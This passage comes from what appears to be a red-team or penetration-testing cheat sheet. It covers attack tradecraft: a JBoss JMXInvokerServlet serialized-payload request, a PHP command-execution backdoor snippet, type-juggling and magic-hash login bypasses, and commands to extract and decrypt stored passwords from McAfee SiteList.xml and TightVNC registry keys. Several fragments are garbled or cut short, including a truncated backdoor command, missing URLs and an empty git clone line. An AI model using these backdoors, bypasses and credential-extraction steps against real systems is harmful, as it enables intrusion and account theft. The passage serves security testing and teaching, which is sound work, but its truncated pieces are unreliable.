Generate payload with yososerial and send with Burp. You will get a jboss.invocation.InvocationException response on success or failure. Ensure the headers match these:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: <hostname/IP>:8080
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 2083

### PHP LFI Read File (without executing)

LFI Read PHP session file for current sessionid

Create PHP backdoor/shell (windows):

echo ^ “`

PHP Command Execution Example


@extract ($_REQUEST);
@die ($page($help));

PHP Type Juggling

Bypass login authentication with PHP Type juggling by forcing a null condition in a string comparison.

Add [] after a POST parameter “?user_id[]=user22” to force a NULL (zero-like) condition when comparing a string and an array

Web Sockets

There are still relatively few dec ent Web Socket testing tools and most aren’t very mature:

  • BurpSuite – Limited options to view web socket communication, but no ability to edit or replay traffic
  • ZAP Proxy – Ability to modify, replay, and fuzz web sockets, but still relatively clumsy
  • WSSiP– WebSocket Manipulation Proxy – Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.


Things that don’t seem to fit elsewhere!

Canary Tokens

Tokens consist of a unique identifier (which can be embedded in either HTTP URLs or in hostnames.) Whenever that URL is requested, or the hostname is resolved, we send a notification email to the address tied to the token. You can get one in seconds, using just your browser.

To obtain a token:

1. Visit
2. Enter your email address. (It's only used to notify you when the token is triggered, mails are not used for any other purpose.)
3. Enter a comment which describes where you're using the token. If the token is triggered in six months time, a comment will help you remember where you placed the token. Be specific (e.g. "file watch on" or "Password lure email in inbox". We envisage having loads of tokens, so a good description is necessary.
4. Click "Generate Token" to obtain your token.
5. Copy the token and drop it somewhere it will be stumbled over.

Python SSL Web Server

Create PEM file

openssl req -newkey rsa:2048 -x509 -keyout cakey.pem -out cacert.pem -days 3650

To concatenate the private key and public certificate into a pem file (which is required for many web-servers ) :

cat cakey.pem cacert.pem > server.pem

Python code

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)

McAfee SiteList.xml decryption

Sometimes DA and other admin level account passwords are stored in Sitelist.xml files on local hosts

type "C:\ProgramData\McAfee\Common Framework\SiteList.xml" |findstr Password

╰ $ ./ f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password :

git clone

TightVNC Password Retrieval

Retrieve TightVNC registry keys


Copy password from reg query output

Password REG_BINARY 7228098734BBBA06
ControlPassword REG_BINARY 435D7A037B9FDC2B

Download vncpwd.exe or other VNC password decoder

wine vncpwd.exe 7228098734BBBA06

Password Lists

AIX Passwords


Convert AIX passwd file to john format

cat $1|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'

Decompiling .NET Binaries

Magic Hashes


Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.


Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hash may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen



HashType HashLength “Magic”Number Magic Hash Found By
md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc.
md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc.
md5 32 240610708 0e462097431906509019562988736854 Michal Spacek
sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224 56
sha256 64
sha384 96
sha512 128
ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc.
ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly
ripemd256 64
ripemd320 80
whirlpool 128
tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc.
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo
tiger192,3 48
tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc.
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo
tiger192,4 48
snefru 64
snefru256 64
gost 64
adler32 8 FR 00e00099 WhiteHat Security, Inc.
crc32 8 2332 0e684322 WhiteHat Security, Inc.
crc32b 8 6586 0e817678 WhiteHat Security, Inc.
fnv132 8 2186 0e591528 WhiteHat Security, Inc.
fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc.
joaat 8 8409 0e074025 WhiteHat Security, Inc.
haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc.
haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly
haval224,3 56
haval256,3 64
haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc.
haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo
haval192,4 48
haval224,4 56
haval256,4 64
haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc.
haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo
haval224,5 56
haval256,5 64

About James Tubberville

James Tubberville has held a number of technical positions and management roles over a 18 year career focused on system, network, application and information security. James is a former member and lead for a NSA certified Red Team and has conducted threat computer network operations, red teaming, penetration testing, and physical security assessments for a variety of commercial and government customers. As a security professional, James has achieved numerous information technology and security related certifications and awards. James is also co-author for the SANS course SEC564: Red Team Operations and Threat Emulation.